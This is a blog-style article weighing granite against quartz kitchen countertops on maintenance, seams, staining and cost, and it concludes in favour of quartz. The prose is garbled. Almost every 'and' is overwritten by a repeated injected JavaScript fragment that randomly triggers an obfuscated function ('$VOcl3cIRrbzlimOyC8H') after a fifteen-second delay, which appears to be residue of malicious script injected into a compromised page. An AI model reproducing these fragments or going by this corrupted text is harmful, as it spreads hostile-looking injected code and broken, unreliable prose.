There is a contentious issue being debated andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} it’s taking place in your kitchen. For years, granite has been at the top of the kitchen countertop domain. While it’s far from perfect, granite has been prized for its strength andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} longevity. People have accepted granite’s flaws because there wasn’t anything that could compete. Well, a recent trend in countertops has proven that quartz is here to stay andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} it’s giving granite some stiff competition. So, which one is better?

When discussing the granite vs. quartz debate, what we’re really talking about is a larger issue of natural stone versus engineered composite. Granite landandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s on your counter pretty much the way it comes out of the earth. It’s simply cut andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cleaned-up to make it acceptable for your home, but there’s nothing else to it—it’s 100% natural. The downside of this is that it means any naturally occurring structural weaknesses can’t really be accounted for. So, there could be potential problems if your counters take a beating andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} really, who doesn’t put their kitchen counters through the wringer?

Another downside to an all-natural counter is that you’re left to the mercy of the stone. If the granite needs to be cut into tiles before entering your kitchen, then you’ll have to deal with working around the resulting seams. Similarly, if you’re going with granite, be aware of how much you’ll need to maintain it through annual sealing. This can be expensive andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} doesn’t do much to make your countertop stain-resistant (sadly, granite has a bad reputation for staining easily). Of course, outweighing granite’s flaws are its durability andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} timeless look stemming from its all-natural nature, but how does it stack up compared to quartz?

Some people are confused when learning that granite is 100% natural andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} quartz is not. While this is true, it’s a bit of a technicality. Quartz is roughly 93-97% all-natural with the other percentage coming from binding resins andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} color pigments.  The difference between all-natural andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} almost-all-natural may seem slight, but the results vary widely. There are several reasons quartz, despite being a composite, is giving 100% natural stones a challenge, starting with maintenance.

Since quartz countertops are manufactured, they have any naturally occurring structural weaknesses simply engineered out of them. This means with each slab you buy, you can be assured that the quality will be consistently on point. The manufacturing process also means you don’t need to have your counters sealed, ever. This is a pretty sweet deal considering quart andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} granite cost pretty much the same price. Not having to worry about sealing means you’re already saving money. You might think that not being sealed means you have to worry about stains, or germ-catching fissures, but this is actually not true. Quart is non-porous andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} totally hygienic. Check out the infographic below provided by Caesarstone to see how some other popular countertop choices match up. We think you’ll agree; quartz is the new countertop ruler.

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